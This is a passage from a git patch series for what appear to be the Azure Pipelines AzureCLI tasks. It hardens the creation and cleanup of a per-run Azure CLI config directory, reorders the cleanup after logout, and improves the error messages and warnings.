tl.debug(`Failed to emit token-cleanup telemetry: ${e}`); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear` + // and `az devops configure --defaults`) so they still see the per-invocation + // profile. Removing it earlier would unset AZURE_CONFIG_DIR and cause `az` + // to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } diff --git a/_generated/AzureCLIV3_Node24/azureclitask.ts b/_generated/AzureCLIV3_Node24/azureclitask.ts index 6b84f7ad65e7..90bbba24764d 100644 --- a/_generated/AzureCLIV3_Node24/azureclitask.ts +++ b/_generated/AzureCLIV3_Node24/azureclitask.ts @@ -175,11 +175,6 @@ export class azureclitask { tl.rmRF(this.cliPasswordPath); } - if (this.azCliConfigPath) { - removePerInvocationAzureConfigDir(this.azCliConfigPath); - this.azCliConfigPath = null; - } - //set the task result to either succeeded or failed based on error was thrown or not if(toolExecutionError === FAIL_ON_STDERR) { tl.setResult(tl.TaskResult.Failed, tl.loc("ScriptFailedStdErr")); @@ -264,6 +259,15 @@ export class azureclitask { } catch (e) { tl.debug(`Failed to emit token-cleanup telemetry: ${e}`); } + + // Must run AFTER all `az` cleanup commands (logoutAzure → `az account clear` + // and `az devops configure --defaults`) so they still see the per-invocation + // profile. Removing it earlier would unset AZURE_CONFIG_DIR and cause `az` + // to mutate the agent's global profile. + if (this.azCliConfigPath) { + removePerInvocationAzureConfigDir(this.azCliConfigPath); + this.azCliConfigPath = null; + } } } From 67daa9da1e1eb0d13f2312748c280c50e4eff841 Mon Sep 17 00:00:00 2001 From: "Uladzimir Tratsiakou (Vladimir/Vova)" Date: Mon, 1 Jun 2026 13:39:27 +0200 Subject: [PATCH 5/6] AzureCLI@1/@2/@3: clearer mkdtemp failure + surface scriptType cleanup errors - createPerInvocationAzureConfigDir now wraps mkdtempSync in a try/catch and rethrows with an actionable message pointing at Agent.TempDirectory and the useGlobalConfig escape hatch. Behaviour is unchanged (still fails the task on mkdtemp failure); previously the raw EACCES/ENOENT was harder to diagnose. - V2/V3: scriptType.cleanUp() failures are now logged via tl.warning instead of tl.debug so they show up in the build summary without requiring system.debug=true. Control flow is unchanged. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- Tasks/AzureCLIV1/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- Tasks/AzureCLIV2/azureclitask.ts | 2 +- Tasks/AzureCLIV2/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- Tasks/AzureCLIV3/azureclitask.ts | 2 +- Tasks/AzureCLIV3/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- _generated/AzureCLIV1/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- .../AzureCLIV1_Node24/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- _generated/AzureCLIV2/azureclitask.ts | 2 +- _generated/AzureCLIV2/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- _generated/AzureCLIV2_Node24/azureclitask.ts | 2 +- .../AzureCLIV2_Node24/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- _generated/AzureCLIV3/azureclitask.ts | 2 +- _generated/AzureCLIV3/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- _generated/AzureCLIV3_Node24/azureclitask.ts | 2 +- .../AzureCLIV3_Node24/src/AzureCliConfigDir.ts | 18 +++++++++++++++++- 15 files changed, 159 insertions(+), 15 deletions(-) diff --git a/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts +++ b/Tasks/AzureCLIV1/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/Tasks/AzureCLIV2/azureclitask.ts b/Tasks/AzureCLIV2/azureclitask.ts index f74a00321bb4..7b97565e648e 100644 --- a/Tasks/AzureCLIV2/azureclitask.ts +++ b/Tasks/AzureCLIV2/azureclitask.ts @@ -151,7 +151,7 @@ export class azureclitask { try { await scriptType.cleanUp(); } catch (cleanupErr) { - tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); } } diff --git a/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts +++ b/Tasks/AzureCLIV2/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/Tasks/AzureCLIV3/azureclitask.ts b/Tasks/AzureCLIV3/azureclitask.ts index 90bbba24764d..6b16ded16397 100644 --- a/Tasks/AzureCLIV3/azureclitask.ts +++ b/Tasks/AzureCLIV3/azureclitask.ts @@ -166,7 +166,7 @@ export class azureclitask { try { await scriptType.cleanUp(); } catch (cleanupErr) { - tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); } } diff --git a/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts +++ b/Tasks/AzureCLIV3/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/_generated/AzureCLIV1/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/_generated/AzureCLIV1/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV1/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV1_Node24/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/_generated/AzureCLIV2/azureclitask.ts b/_generated/AzureCLIV2/azureclitask.ts index f74a00321bb4..7b97565e648e 100644 --- a/_generated/AzureCLIV2/azureclitask.ts +++ b/_generated/AzureCLIV2/azureclitask.ts @@ -151,7 +151,7 @@ export class azureclitask { try { await scriptType.cleanUp(); } catch (cleanupErr) { - tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); } } diff --git a/_generated/AzureCLIV2/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/_generated/AzureCLIV2/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV2/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/_generated/AzureCLIV2_Node24/azureclitask.ts b/_generated/AzureCLIV2_Node24/azureclitask.ts index f74a00321bb4..7b97565e648e 100644 --- a/_generated/AzureCLIV2_Node24/azureclitask.ts +++ b/_generated/AzureCLIV2_Node24/azureclitask.ts @@ -151,7 +151,7 @@ export class azureclitask { try { await scriptType.cleanUp(); } catch (cleanupErr) { - tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); } } diff --git a/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV2_Node24/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/_generated/AzureCLIV3/azureclitask.ts b/_generated/AzureCLIV3/azureclitask.ts index 90bbba24764d..6b16ded16397 100644 --- a/_generated/AzureCLIV3/azureclitask.ts +++ b/_generated/AzureCLIV3/azureclitask.ts @@ -166,7 +166,7 @@ export class azureclitask { try { await scriptType.cleanUp(); } catch (cleanupErr) { - tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); } } diff --git a/_generated/AzureCLIV3/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/_generated/AzureCLIV3/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV3/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } diff --git a/_generated/AzureCLIV3_Node24/azureclitask.ts b/_generated/AzureCLIV3_Node24/azureclitask.ts index 90bbba24764d..6b16ded16397 100644 --- a/_generated/AzureCLIV3_Node24/azureclitask.ts +++ b/_generated/AzureCLIV3_Node24/azureclitask.ts @@ -166,7 +166,7 @@ export class azureclitask { try { await scriptType.cleanUp(); } catch (cleanupErr) { - tl.debug(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); + tl.warning(`scriptType.cleanUp() threw: ${cleanupErr && cleanupErr.message || cleanupErr}`); } } diff --git a/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts index fa8463c0d336..43bf78aa070e 100644 --- a/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts +++ b/_generated/AzureCLIV3_Node24/src/AzureCliConfigDir.ts @@ -37,7 +37,23 @@ export function createPerInvocationAzureConfigDir(agentTempDir: string): string if (!agentTempDir) { throw new Error('agentTempDir is required'); } - const dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + let dir: string; + try { + dir = fs.mkdtempSync(path.join(agentTempDir, '.azclitask-')); + } catch (mkErr) { + // Fail loudly. We deliberately do NOT fall back to the predictable + // $(Agent.TempDirectory)/.azclitask path (that is the very vulnerability + // this code closes) nor silently to the user's global ~/.azure profile + // (that would override the user's explicit useGlobalConfig=false choice + // and could mutate the agent identity's profile across pipeline runs). + // The caller's outer catch surfaces this as a task failure. + const msg = (mkErr && (mkErr as Error).message) || String(mkErr); + throw new Error( + `Failed to create an isolated AZURE_CONFIG_DIR under '${agentTempDir}': ${msg}. ` + + `Verify Agent.TempDirectory exists and is writable by the agent account. ` + + `If you intentionally want to use the global Azure CLI configuration (~/.azure), ` + + `set the task input 'useGlobalConfig: true'.`); + } process.env['AZURE_CONFIG_DIR'] = dir; return dir; } From 6e617d64fccb770b670f37f87cd582e59423a386 Mon Sep 17 00:00:00 2001 From: "Uladzimir Tratsiakou (Vladimir/Vova)" Date: Mon, 1 Jun 2026 14:20:53 +0200 Subject: [PATCH 6/6] Retrigger canarytest (previous run failed on infra flake: orchestrator received HTML instead of JSON while polling child build status) Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>